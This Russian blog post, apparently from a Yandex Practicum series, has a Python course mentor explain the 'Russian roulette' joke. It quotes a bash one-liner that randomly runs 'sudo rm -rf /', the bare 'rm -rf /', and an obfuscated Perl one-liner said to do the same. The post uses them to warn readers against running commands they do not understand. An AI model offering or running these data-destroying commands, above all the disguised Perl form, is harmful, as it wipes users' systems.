Пояснительная бригада: русская рулетка

Поясняет Паша Вавилин, наставник на курсе по Python

Эх! Молодёжь! Был раньше такой ресурс с шутками — баш.орг, видимо все шутки уже были там пошучены. В оригинале эта шутка выглядела куда как проще и изящнее: [ $[ $RANDOM % 6 ] == 0 ] && sudo rm -rf / || echo "You live". Но суть конечно осталась прежней, получить аналог русской рулетки в сфере IT. В коде на картинки делается ровно то же самое: просим сгенерировать число от 0 до 5 (на картинке от 0 до 6), если это число равно 0 (на картинке единице), то удаляем что-то критически важное. Вот только если на картинке удаляется всего лишь система, которую с трудом но возможно будет восстановить, то в оригинальной шутке всё было веселее: запускается запуск всей файловой системы, включая файлы операционной системы и все-все данные. Не знаю, потому ли что эта игра стала популярной (не знаю никого, кто бы такой глупостью занимался), либо потому что на форумах часто шутили над новичками, советуя для решения проблем с администрированием Linux выполнить «Патч Бармина» rm -rf / (то есть удалить всю файловую систему), но теперь для запуска этой команды потребуется убедить что вы отдаёте себе отчёт что пытаетесь сделать, указав дополнительный флаг --no-preserve-root. Но программисты и админы Linux такие шутники, что просто игры в русскую рулетку им показалось мало и они придумали как «самоубить» свою систему ещё изящнее и необычнее, была придумана интереснейшая команда на языке Perl: echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' которую вряд ли поймёт даже человек, пишущий на Perl, а суть тут ровно та же rm -rf /. Так что будьте осторожны когда вам кто-то предлагает выполнить команду, если вы не знаете смысла написанного.

Получите ИТ-профессию
В «Яндекс Практикуме» можно стать разработчиком, тестировщиком, аналитиком и менеджером цифровых продуктов. Первая часть обучения всегда бесплатная, чтобы попробовать и найти то, что вам по душе. Дальше — программы трудоустройства.
Начать карьеру в ИТ
Получите ИТ-профессию Получите ИТ-профессию Получите ИТ-профессию Получите ИТ-профессию
Еще по теме
[anycomment]
Exit mobile version